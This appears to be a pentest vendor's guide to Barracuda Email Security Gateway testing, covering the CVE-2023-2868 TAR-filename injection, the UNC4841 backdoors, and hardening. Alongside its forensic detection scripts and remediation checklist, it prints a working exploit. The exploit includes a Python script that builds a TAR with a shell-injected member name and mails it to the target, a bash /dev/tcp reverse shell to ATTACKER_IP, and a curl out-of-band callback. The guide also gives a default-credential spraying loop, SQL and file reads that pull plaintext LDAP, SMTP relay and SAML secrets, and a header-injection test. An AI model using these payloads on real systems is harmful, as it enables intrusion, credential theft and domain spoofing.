Email Security Testing

Barracuda Email Security Gateway Security Testing: CVE-2023-2868, UNC4841, and SEASPY/SALTWATER Backdoors

📅 July 6, 2026 ⏱ 12 min read 🏷 Barracuda ESG, CVE-2023-2868, UNC4841, SEASPY, SALTWATER, SUBMARINE, Chinese APT, Email Gateway Pentest

The Barracuda Email Security Gateway (ESG) is a widely deployed email filtering and security appliance — CVE-2023-2868 is a CVSS 9.8 pre-authenticated remote code execution vulnerability in TAR archive processing that was exploited as a zero-day by UNC4841, a Chinese state-sponsored threat actor (Mandiant attribution), from at least October 2022 through discovery in May 2023. Barracuda's response was unprecedented: rather than releasing a patch, they instructed all affected customers to physically replace their appliances. This guide covers systematic security assessment of Barracuda ESG deployments including the CVE-2023-2868 exploit mechanism, SEASPY/SALTWATER/SUBMARINE/WHIRLPOOL backdoor detection, management interface credential testing, LDAP/AD bind credential extraction, and SMTP relay configuration exposure.

CVE-2023-2868 Pre-Auth RCE and UNC4841 Campaign
SEASPY, SALTWATER, and SUBMARINE Backdoor Detection
Management Interface and Configuration Extraction
Barracuda ESG Security Hardening

CVE-2023-2868 Pre-Auth RCE and UNC4841 Campaign

CVE-2023-2868 is a pre-authenticated command injection vulnerability in the Barracuda ESG email attachment scanning subsystem. The root cause is the use of Perl's qx{} operator — which executes shell commands — to process filenames extracted from TAR archives in incoming email attachments. By crafting a TAR archive whose member filename contains shell metacharacters, an unauthenticated attacker can achieve remote code execution as the product user running the Barracuda scanning process. The vulnerability affects all Barracuda ESG hardware and virtual appliances running firmware versions 5.1.3.001 through 9.2.0.006. Barracuda released a containment patch on May 20, 2023, but subsequently determined the patch insufficient and on June 6, 2023 issued an unprecedented advisory recommending all customers replace affected hardware entirely.

UNC4841 (Mandiant designation) exploited this vulnerability at scale targeting government agencies, defense contractors, telecommunications providers, and critical infrastructure organizations globally — with particular focus on entities relevant to Chinese foreign policy interests including Taiwan, Southeast Asia, and the United States Department of Defense supply chain. The threat actor demonstrated sophisticated operational security, using the vulnerability to deploy multiple custom backdoors while minimizing detectable network traffic by abusing legitimate Barracuda update mechanisms for C2 communication.

# CVE-2023-2868 — Barracuda ESG TAR filename command injection
# Affected versions: ESG firmware 5.1.3.001 through 9.2.0.006
# CVSS 9.8 — pre-authenticated, no user interaction required

# Step 1: Identify Barracuda ESG in scope
# ESG management interface typically on port 8000 (HTTPS)
# SMTP on port 25, filtering submission on port 587

# Fingerprint the appliance
curl -sk "https://TARGET:8000/" | grep -iE "(barracuda|esecurity|esg|spam)" | head -5
curl -sk "https://TARGET:8000/cgi-mod/index.cgi" -o /dev/null -w "%{http_code} %{redirect_url}\n"

# Check firmware version disclosure (pre-auth)
curl -sk "https://TARGET:8000/cgi-mod/index.cgi?&action=login" \
  | grep -iE "(version|firmware|build)" | head -10

# SMTP banner — reveals ESG presence
nc -w3 TARGET 25
# Expected: 220 mail.example.com ESMTP Barracuda Email Security Gateway

# Step 2: Craft the malicious TAR archive
# The vulnerable Perl code pattern (simplified):
#   system("tar -xf /tmp/attachment.tar --to-command='cat > /tmp/extract/$filename'")
# When $filename is user-controlled from the TAR header without sanitization:
#   qx{ tar -xf $attachment } where attachment path contains injected content

# Build a weaponized TAR with an injected filename
python3 << 'EXPLOIT_EOF'
import tarfile, io, os

# The injected filename — shell command embedded in TAR member name
# qx{} in Perl executes whatever is between the braces
# The TAR header allows arbitrary bytes in the filename field
INJECTED_CMD = "a';id>/tmp/pwned;echo 'b"

# Create in-memory TAR with crafted filename
buf = io.BytesIO()
t = tarfile.open(fileobj=buf, mode='w')

# Add a member with the malicious filename
info = tarfile.TarInfo(name=INJECTED_CMD)
content = b"irrelevant file content"
info.size = len(content)
t.addfile(info, io.BytesIO(content))
t.close()

# Write the weaponized TAR
with open("/tmp/malicious_attachment.tar", "wb") as f:
    f.write(buf.getvalue())

print(f"[+] TAR written: /tmp/malicious_attachment.tar")
print(f"[+] Injected filename: {INJECTED_CMD}")
EXPLOIT_EOF

# Step 3: Deliver the malicious TAR via email
# The exploit is triggered when Barracuda scans an email attachment

python3 << 'SMTP_EOF'
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders

TARGET_MX = "TARGET"   # Barracuda ESG IP
TO_ADDR   = "user@victim.example.com"
FROM_ADDR = "sender@attacker.example.com"

msg = MIMEMultipart()
msg['From']    = FROM_ADDR
msg['To']      = TO_ADDR
msg['Subject'] = "Q3 Invoice"

msg.attach(MIMEText("Please review the attached invoice.", 'plain'))

# Attach the weaponized TAR
with open("/tmp/malicious_attachment.tar", "rb") as f:
    part = MIMEBase('application', 'x-tar')
    part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment',
                    filename='invoice.tar')
    msg.attach(part)

with smtplib.SMTP(TARGET_MX, 25, timeout=10) as s:
    s.sendmail(FROM_ADDR, [TO_ADDR], msg.as_string())
    print(f"[+] Exploit email sent to {TO_ADDR} via {TARGET_MX}:25")
SMTP_EOF

# Step 4: Verify code execution — check for /tmp/pwned written by injected id command
# (Requires separate foothold or OOB technique)

# OOB detection via DNS callback — substitute YOUR_BURP_COLLABORATOR_HOST
OOB_CMD="a\`curl -s http://YOUR_BURP_COLLABORATOR_HOST/$(hostname|base64 -w0)\`b"

# More reliable reverse shell payload for production PoC
REV_SHELL_CMD="a';bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;echo 'b"

# Listen for callback
nc -lvnp 4444

Barracuda ESG appliances run on a hardened CentOS base but the product user running the email scanning process has broad filesystem access. Once code execution is established, UNC4841 was observed reading /opt/barracuda/ configuration directories, accessing email archives, and deploying persistent backdoors before Barracuda's containment measures were deployed. The flat network position of email gateways — receiving SMTP connections from the internet while having trusted access to internal mail servers — makes ESG compromise a high-value pivot point.

# Post-exploitation reconnaissance (once RCE achieved as 'product' user)

# ESG filesystem layout
ls -la /opt/barracuda/          # Main application directory
ls -la /home/product/           # Product user home
ls -la /var/log/postfix/        # SMTP logs
ls -la /etc/postfix/            # Postfix configuration

# Running processes — identify ESG daemons
ps auxf | grep -E "(barracuda|spam|postfix|amavis)" | grep -v grep

# Network connections — what can ESG reach internally?
ss -tnp 2>/dev/null | grep -v "127.0.0.1"
netstat -rn 2>/dev/null         # Routing table — internal network access

# ESG configuration files — contain integration credentials
find /opt/barracuda/ -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null \
  | xargs grep -lE "(password|passwd|secret|ldap|smtp)" 2>/dev/null | head -20

# Barracuda internal SQLite database
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null | grep -v proc | head -20
sqlite3 /home/product/var/db/master.db ".tables" 2>/dev/null
sqlite3 /home/product/var/db/spam.db ".tables" 2>/dev/null

SEASPY, SALTWATER, and SUBMARINE Backdoor Detection

UNC4841 deployed a suite of custom backdoors on compromised Barracuda ESG appliances, each designed to survive appliance reboots and Barracuda's firmware update process. Mandiant's analysis identified four distinct malware families: SEASPY (passive backdoor masquerading as a legitimate Barracuda process), SALTWATER (trojanized module injected into the Barracuda SMTP daemon), SUBMARINE (SQL trigger-based persistence in the underlying database), and WHIRLPOOL (a follow-on implant discovered in August 2023 providing a TLS reverse shell).

SEASPY disguises itself as BarracudaMailService — a name that mimics the legitimate barracuda_mail_service daemon. It functions as a PCAP-based passive backdoor, listening on a BPF filter for specially crafted packets on port 25 (SMTP) or port 587. When the trigger packet is received, SEASPY spawns a reverse shell. Because it uses passive packet capture, SEASPY generates no listening socket and is invisible to netstat or ss.

SALTWATER is injected as a module into bsmtpd, Barracuda's custom SMTP daemon. The trojanized module intercepts the daemon's TLS connection handling functions, enabling the attacker to proxy arbitrary shell commands through legitimate SMTP TLS sessions — making C2 traffic blend into normal email traffic on port 25.

SUBMARINE is the most architecturally novel of the four: it persists as an SQL trigger in the Barracuda ESG's underlying SQLite database (master.db). When specific database operations are performed — such as new email policy writes — the trigger fires and executes arbitrary shell commands via SQLite's load_extension() or a custom SQLite extension. This survives firmware upgrades because the database content is preserved across updates.

# Barracuda ESG backdoor detection — forensic analysis

ESG_HOST="TARGET"   # SSH or console access to appliance required

# ===== SEASPY detection =====
# SEASPY masquerades as BarracudaMailService — check for misspelled/extra instances
ssh product@${ESG_HOST} << 'EOF'

echo "=== SEASPY: Process name check ==="
ps aux | grep -iE "(BarracudaMailService|barracudamailservice)" | grep -v grep
# Legitimate: /opt/barracuda/bin/barracuda_mail_service (underscore, not camelCase)
# Suspicious: BarracudaMailService (camelCase), extra instances, unusual parent PID

echo "=== SEASPY: Binary hash check ==="
md5sum /opt/barracuda/bin/barracuda_mail_service 2>/dev/null
# Compare against known-good hash from Barracuda support

echo "=== SEASPY: BPF/raw socket listeners (invisible to netstat) ==="
ls -la /proc/*/fd 2>/dev/null | grep socket | while read line; do
  PID=$(echo $line | awk -F/ '{print $3}')
  COMM=$(cat /proc/$PID/comm 2>/dev/null)
  echo "PID=$PID COMM=$COMM: $line"
done | grep -v "barracuda_mail\|postfix\|bsmtpd\|amavis"

echo "=== SEASPY: Known IOC file paths ==="
for path in \
  /usr/lib/libssl.so.2 \
  /tmp/BarracudaMailService \
  /home/product/bin/BarracudaMailService \
  /tmp/.t \
  /tmp/.s; do
  [ -f "$path" ] && echo "[HIT] $path" && ls -la "$path" && md5sum "$path"
done

echo "=== SEASPY: Scheduled execution ==="
crontab -l -u product 2>/dev/null
ls -la /etc/cron.d/ | grep -v "^total"
cat /etc/rc.local 2>/dev/null

EOF

# ===== SALTWATER detection =====
ssh product@${ESG_HOST} << 'EOF'

echo "=== SALTWATER: bsmtpd module integrity ==="
# SALTWATER injects into bsmtpd as a .so module loaded at runtime
ls -la /opt/barracuda/lib/modules/ 2>/dev/null
ldd /opt/barracuda/bin/bsmtpd 2>/dev/null | grep -v "^[[:space:]]*/"  # unexpected libraries
# Check bsmtpd for unexpected loaded modules
cat /proc/$(pgrep bsmtpd)/maps 2>/dev/null | grep "\.so" | \
  grep -vE "(libc|libssl|libcrypto|libpthread|barracuda)" | head -20

echo "=== SALTWATER: Known malicious module hashes ==="
# Known SALTWATER module paths from Mandiant report
for path in \
  /opt/barracuda/lib/mod_ssl.so \
  /home/product/lib/mod_ssl.so \
  /tmp/mod_ssl.so; do
  [ -f "$path" ] && echo "[HIT] $path" && md5sum "$path"
done

echo "=== SALTWATER: bsmtpd abnormal child processes ==="
ps auxf | grep bsmtpd
# Unexpected child processes of bsmtpd (especially shells) are indicators

echo "=== SALTWATER: TLS hook indicators in memory ==="
# SALTWATER hooks SSL_read/SSL_write to intercept encrypted SMTP traffic
grep -r "SSL_read\|SSL_write" /proc/$(pgrep bsmtpd)/maps 2>/dev/null | head -5

EOF

# ===== SUBMARINE detection (SQLite trigger-based persistence) =====
ssh product@${ESG_HOST} << 'EOF'

echo "=== SUBMARINE: SQLite trigger enumeration ==="
DB_PATHS=(
  "/home/product/var/db/master.db"
  "/home/product/var/db/spam.db"
  "/home/product/var/db/audit.db"
  "/var/db/barracuda.db"
)

for DB in "${DB_PATHS[@]}"; do
  if [ -f "$DB" ]; then
    echo "[+] Inspecting: $DB"
    sqlite3 "$DB" ".tables" 2>/dev/null
    # Enumerate all triggers — SUBMARINE uses triggers for persistence
    sqlite3 "$DB" "SELECT name, tbl_name, sql FROM sqlite_master WHERE type='trigger';" 2>/dev/null
    # Look for triggers that call load_extension or exec system commands
    sqlite3 "$DB" "SELECT name, sql FROM sqlite_master WHERE type='trigger' \
      AND (sql LIKE '%load_extension%' OR sql LIKE '%exec%' OR sql LIKE '%system%' \
           OR sql LIKE '%/tmp/%' OR sql LIKE '%bash%' OR sql LIKE '%sh %');" 2>/dev/null
  fi
done

echo "=== SUBMARINE: SQLite extension abuse check ==="
# SUBMARINE may pre-load a malicious .so as a SQLite extension
find / -name "*.so" -newer /opt/barracuda/bin/bsmtpd -not -path "/proc/*" 2>/dev/null \
  | grep -vE "(barracuda|yum|rpm|glibc)" | head -20

echo "=== SUBMARINE: Known IOC hashes (Mandiant) ==="
# SHA256 hashes of known SUBMARINE variants from Mandiant report
for path in \
  /home/product/var/db/master.db \
  /tmp/submarine.so; do
  [ -f "$path" ] && sha256sum "$path"
done

EOF

# ===== WHIRLPOOL detection =====
ssh product@${ESG_HOST} << 'EOF'

echo "=== WHIRLPOOL: TLS reverse shell beacon ==="
# WHIRLPOOL establishes a TLS reverse shell to attacker infrastructure
# Check for unusual outbound TLS connections from the ESG appliance
ss -tnp | grep ESTABLISHED | grep -v ":25\|:587\|:443\|:80\|:8000\|:53" | \
  grep -E "ESTAB" | head -20

echo "=== WHIRLPOOL: Known C2 beacon pattern ==="
# WHIRLPOOL uses a keep-alive beacon to attacker C2
# Check network connections with long-lived established sessions to non-standard ports
ss -tnp | awk '/ESTAB/ {print $5}' | sort | uniq -c | sort -rn | head -10

echo "=== WHIRLPOOL: File IOCs ==="
for path in \
  /tmp/whirlpool \
  /home/product/bin/whirlpool \
  /usr/local/bin/whirlpool \
  /tmp/.w; do
  [ -f "$path" ] && echo "[HIT] $path" && ls -la "$path" && sha256sum "$path"
done

echo "=== Combined: All suspicious binaries newer than 2022-10-01 ==="
find /opt/barracuda /home/product /tmp /usr/local/bin -newer /etc/passwd \
  -type f -executable 2>/dev/null | \
  grep -vE "(\.pyc|__pycache__|\.log)" | head -30

echo "=== Persistence: All modified system init files ==="
find /etc/init.d /etc/rc.d /etc/cron.d /etc/systemd/system \
  -newer /etc/passwd -type f 2>/dev/null

EOF

Backdoor	Persistence Mechanism	Detection Method	CVSS / Impact
SEASPY	Masquerades as BarracudaMailService; cron/rc.local persistence; passive BPF packet capture on port 25/587	Process name case mismatch; no listening socket but raw BPF socket; hash mismatch on barracuda_mail_service binary	Critical — passive implant invisible to netstat
SALTWATER	Injected .so module loaded into bsmtpd at startup; intercepts SSL_read/SSL_write in SMTP daemon	Unexpected .so in bsmtpd process maps; ldd output anomalies; hash mismatch on bsmtpd binary	Critical — C2 over legitimate SMTP TLS traffic
SUBMARINE	SQL trigger in SQLite master.db firing on legitimate DB writes; survives firmware upgrades	sqlite_master trigger enumeration; triggers containing load_extension or system calls	Critical — survives firmware updates and appliance reboots
WHIRLPOOL	TLS reverse shell beacon to attacker C2; August 2023 discovery; follow-on to initial SEASPY/SALTWATER deployment	Long-lived outbound TLS connections on non-standard ports; binary IOC file paths	High — active C2 channel with TLS encryption

Management Interface and Configuration Extraction

The Barracuda ESG management interface runs on port 8000 over HTTPS. Appliances ship with default credentials admin / admin that are frequently left unchanged in internal deployments. The management interface provides access to email routing configuration, quarantine archives, LDAP/Active Directory integration credentials, SMTP relay credentials, and SAML SSO configuration — all of which are high-value targets in a penetration test.

# Barracuda ESG management interface — credential testing and enumeration

ESG_HOST="TARGET"

# Step 1: Port discovery — Barracuda ESG service fingerprint
nmap -sV -p 8000,443,25,587,80 ${ESG_HOST}
# Port 8000: HTTPS management interface
# Port 25:   SMTP (inbound email)
# Port 587:  SMTP submission

# Step 2: Management interface — default and common credentials
for CRED in "admin:admin" "admin:password" "admin:barracuda" \
            "admin:admin123" "administrator:admin" "admin:default"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -sk -X POST "https://${ESG_HOST}:8000/cgi-mod/index.cgi" \
    -d "user=${USER}&password=${PASS}&action=login&locale=en_US" \
    -c /tmp/barracuda_cookies.txt \
    -w "\n%{http_code} %{redirect_url}" \
    -o /tmp/barracuda_resp.txt 2>/dev/null)
  HTTP_CODE=$(echo "$RESPONSE" | tail -1 | awk '{print $1}')
  REDIRECT=$(echo "$RESPONSE" | tail -1 | awk '{print $2}')
  # Successful login redirects to /cgi-mod/index.cgi (not back to login)
  if echo "$REDIRECT" | grep -qv "action=login"; then
    echo "[HIT] ${CRED}: HTTP ${HTTP_CODE} -> ${REDIRECT}"
  else
    echo "[FAIL] ${CRED}: HTTP ${HTTP_CODE}"
  fi
done

# Step 3: With valid session — enumerate quarantine (email archive)
SESSION_COOKIE="BNSID=your-session-token"  # From successful login above

# List quarantine messages — may contain credentials in email bodies
curl -sk "https://${ESG_HOST}:8000/cgi-mod/index.cgi?action=quar_message_list" \
  -H "Cookie: ${SESSION_COOKIE}" 2>/dev/null | \
  python3 -c "
import sys, re
html = sys.stdin.read()
# Extract quarantine message subjects and senders
entries = re.findall(r'from=([^&\"]+).*?subject=([^&\"]+)', html)
for from_, subj in entries[:20]:
    print(f'  From: {from_}  Subject: {subj}')
" 2>/dev/null

# Search quarantine for password-containing emails
curl -sk "https://${ESG_HOST}:8000/cgi-mod/index.cgi" \
  -H "Cookie: ${SESSION_COOKIE}" \
  -d "action=quar_search&search_text=password&search_field=body" \
  2>/dev/null | grep -oE "from=[^&]+" | head -20

# Barracuda ESG — LDAP/AD integration credential extraction

# The ESG stores LDAP bind credentials for directory lookups
# (recipient validation, user authentication, policy lookup)

# Via management interface — LDAP configuration page
curl -sk "https://${ESG_HOST}:8000/cgi-mod/index.cgi?action=domain_config" \
  -H "Cookie: ${SESSION_COOKIE}" 2>/dev/null | \
  grep -iE "(ldap|bind|password|dn|server)" | \
  sed 's/value="\([^"]*\)"/VALUE: \1/g' | head -30

# Via filesystem access (post-exploitation as product user)
# Barracuda ESG configuration database contains LDAP credentials
sqlite3 /home/product/var/db/master.db 2>/dev/null << 'SQL'
-- LDAP integration configuration
SELECT key, value FROM global_config
WHERE key LIKE '%ldap%' OR key LIKE '%bind%' OR key LIKE '%directory%'
ORDER BY key;
SQL

# LDAP bind credentials are often stored in plaintext in ESG config
sqlite3 /home/product/var/db/master.db 2>/dev/null << 'SQL'
SELECT domain, ldap_host, ldap_port, ldap_bind_dn,
       ldap_bind_password,   -- PLAINTEXT AD bind credential
       ldap_base_dn, ldap_filter
FROM domain_config
WHERE ldap_enabled = 1;
SQL

# Verify extracted credentials against Active Directory
ldapsearch -H "ldap://LDAP_SERVER" \
  -D "cn=barracuda,ou=serviceaccounts,dc=example,dc=com" \
  -w "EXTRACTED_BIND_PASSWORD" \
  -b "dc=example,dc=com" \
  "(objectClass=user)" sAMAccountName mail memberOf 2>/dev/null | head -40

# Enumerate AD users via Barracuda's LDAP bind account
ldapsearch -H "ldap://LDAP_SERVER" \
  -D "EXTRACTED_BIND_DN" \
  -w "EXTRACTED_BIND_PASSWORD" \
  -b "dc=example,dc=com" \
  "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,dc=example,dc=com))" \
  sAMAccountName userPrincipalName description 2>/dev/null

# Barracuda ESG — SMTP relay credential and configuration extraction

# Postfix main configuration (ESG uses Postfix as underlying MTA)
cat /etc/postfix/main.cf 2>/dev/null | grep -iE \
  "(relayhost|smtp_sasl|password|username|tls|auth)" | head -30

# SMTP SASL password maps — relay host credentials
cat /etc/postfix/sasl_passwd 2>/dev/null
# Format: [relay.example.com]:587  username:password
# These are SMTP relay credentials to upstream mail providers

# Postfix SASL passwords are hashed in sasl_passwd.db but stored plaintext in sasl_passwd
postmap -q "[smtp.office365.com]:587" /etc/postfix/sasl_passwd 2>/dev/null
postmap -q "[smtp.gmail.com]:587" /etc/postfix/sasl_passwd 2>/dev/null

# Barracuda-specific relay configuration
grep -r "relay\|smarthost\|smtp_auth" /opt/barracuda/etc/ 2>/dev/null | \
  grep -v "^Binary" | head -30

# Test extracted SMTP relay credentials
python3 << 'SMTP_TEST'
import smtplib, ssl

RELAY_HOST = "smtp.office365.com"
RELAY_PORT = 587
USERNAME = "extracted@example.com"   # From sasl_passwd
PASSWORD = "extracted_password"

context = ssl.create_default_context()
try:
    with smtplib.SMTP(RELAY_HOST, RELAY_PORT, timeout=10) as s:
        s.ehlo()
        s.starttls(context=context)
        s.login(USERNAME, PASSWORD)
        print(f"[+] SMTP relay credentials valid: {USERNAME}")
        print(f"[+] Could send email as any address via {RELAY_HOST}")
except smtplib.SMTPAuthenticationError as e:
    print(f"[-] Auth failed: {e}")
SMTP_TEST

# Barracuda ESG — SAML SSO configuration extraction and email header injection

# SAML SSO configuration (if ESG is configured for SSO)
sqlite3 /home/product/var/db/master.db 2>/dev/null << 'SQL'
SELECT key, value FROM global_config
WHERE key LIKE '%saml%' OR key LIKE '%sso%' OR key LIKE '%idp%' OR key LIKE '%sp_%'
ORDER BY key;
SQL
-- Look for: saml_idp_cert, saml_sp_key, saml_idp_entity_id, saml_acs_url
-- SP private key enables SAML response signing forgery

# Email header injection testing through Barracuda processing
# Barracuda modifies email headers (adds X-Barracuda-* headers, rewrites Received:)
# Test whether injected headers survive ESG processing

python3 << 'HEADER_TEST'
import smtplib
from email.mime.text import MIMEText

# Test header injection via injected SMTP MAIL FROM
# Some ESG versions fail to sanitize From headers
msg = MIMEText("Test")
msg['From']    = '"Injected\r\nX-Injected: malicious" '
msg['To']      = 'victim@TARGET_DOMAIN'
msg['Subject'] = 'Header injection test'

# Add CRLF injection attempt in custom header
msg['X-Custom'] = 'test\r\nX-Injected-Header: injected-value'

with smtplib.SMTP("TARGET", 25, timeout=10) as s:
    s.sendmail("attacker@example.com", ["victim@TARGET_DOMAIN"], msg.as_string())
    print("[+] Test email sent — check received headers for injection success")
HEADER_TEST

# Verify Barracuda is not adding recipient headers to quarantine notifications
# that could reveal internal routing paths
curl -sk "https://${ESG_HOST}:8000/cgi-mod/index.cgi?action=message_view&msg_id=1" \
  -H "Cookie: ${SESSION_COOKIE}" 2>/dev/null | \
  grep -iE "(received:|x-originating|x-forwarded|x-barracuda)" | head -20

Barracuda ESG Security Hardening

Barracuda ESG Security Hardening Checklist:

Replace any ESG appliance running firmware 5.1.3.001 through 9.2.0.006 — Barracuda's own guidance (June 6, 2023) was to physically replace affected hardware rather than apply a patch; this is because the SUBMARINE backdoor persists in the SQLite database and survives firmware updates; patching does not remove implants already installed by UNC4841; if replacement is not immediately feasible, follow Barracuda's containment guidance: isolate the appliance, revoke and rotate all credentials stored on or used by the ESG, treat the appliance as fully compromised and assume all email traffic processed through it has been intercepted
Change management interface credentials immediately — Barracuda ESG ships with default credentials admin/admin on port 8000; the management interface provides access to LDAP bind credentials, SMTP relay credentials, SAML SP private keys, and the complete email quarantine archive; restrict management interface access to a dedicated management network VLAN and specific administrator IP ranges; implement rate limiting and account lockout on the management login endpoint; review management interface access logs for unauthorized access patterns dating back to October 2022
Rotate all credentials stored on or used by the ESG appliance — if the appliance may have been compromised, assume all credentials are known to the attacker: LDAP/AD bind account passwords (attackers can use these for internal network reconnaissance), SMTP relay credentials (attackers can use these to send email as your domain via your upstream relay), SAML SP private key (enables SAML response forgery for any SP-initiated SSO flow), any API keys configured in ESG integrations (threat intel feeds, SIEM, ticketing systems); rotate these credentials from a separate, known-clean system
Conduct SEASPY/SALTWATER/SUBMARINE/WHIRLPOOL forensic analysis before decommissioning — use the detection commands in this guide to document whether implants are present before replacing the appliance; this evidence is valuable for incident response, insurance claims, and regulatory notification obligations; compare all ESG binary hashes against Mandiant's published IOC list (Mandiant report: UNC4841 Targets Barracuda ESG); review network flow logs for outbound connections from the ESG to unexpected external IP addresses since October 2022
Audit all email traffic processed during the exposure window — UNC4841 was observed exfiltrating email from compromised appliances; if your ESG processed email during October 2022 through June 2023, assume the threat actor may have accessed email content; assess the sensitivity of email processed during this period; notify affected individuals in accordance with applicable breach notification regulations (GDPR 72-hour notification for EU processors, state breach notification laws for US organizations); document the scope of potentially accessed email for regulatory purposes
Restrict SMTP relay access and implement SPF/DKIM/DMARC — compromised ESG SMTP relay credentials enable attackers to send phishing email that passes SPF validation using your domain's relay; publish strict SPF records (-all) listing only authorized sending IP ranges; implement DKIM signing on outbound email; publish a DMARC policy (p=reject) to prevent spoofing even if relay credentials are extracted; monitor SMTP relay authentication logs for unusual sending volumes or recipient patterns that may indicate relay credential abuse

Security Test	Method	Risk
CVE-2023-2868 pre-auth RCE via TAR filename injection	Craft TAR archive with qx{} Perl operator payload in member filename; deliver as email attachment to any address processed by ESG; no authentication required; affects firmware 5.1.3.001–9.2.0.006	Critical (CVSS 9.8)
Management interface default credentials (admin/admin)	POST /cgi-mod/index.cgi with user=admin&password=admin; provides access to full ESG configuration, quarantine archive, LDAP credentials, SMTP relay credentials, SAML configuration	Critical
LDAP/AD bind credential extraction from SQLite	sqlite3 master.db SELECT ldap_bind_dn, ldap_bind_password FROM domain_config; credentials stored in plaintext; enable AD enumeration and internal network reconnaissance	High
SMTP relay credential extraction from Postfix config	cat /etc/postfix/sasl_passwd; plaintext upstream SMTP relay credentials; enable domain-spoofed phishing passing SPF validation	High
SEASPY passive backdoor via BPF packet capture	Invisible to netstat/ss; check process names for BarracudaMailService camelCase; hash barracuda_mail_service binary against known-good; look for raw BPF socket in /proc/<pid>/fd	Critical — persistent C2
SUBMARINE SQL trigger persistence in SQLite	SELECT name, sql FROM sqlite_master WHERE type='trigger' AND sql LIKE '%load_extension%'; survives firmware upgrades; requires DB wipe or appliance replacement to remediate	Critical — firmware-persistent

Automate Barracuda ESG Security Testing

Ironimo tests Barracuda Email Security Gateway deployments for CVE-2023-2868 TAR filename injection exploitability, management interface default credential exposure on port 8000, LDAP/AD bind credential extraction from ESG configuration databases, SMTP relay credential exposure in Postfix sasl_passwd, SEASPY and SALTWATER backdoor IOC detection, SUBMARINE SQL trigger persistence in SQLite databases, WHIRLPOOL TLS reverse shell indicators, quarantine archive access and email content enumeration, SAML SP private key extraction, and email header injection through ESG processing.

Start free scan

Table of Contents

CVE-2023-2868 Pre-Auth RCE and UNC4841 Campaign

SEASPY, SALTWATER, and SUBMARINE Backdoor Detection

Management Interface and Configuration Extraction

Barracuda ESG Security Hardening

Automate Barracuda ESG Security Testing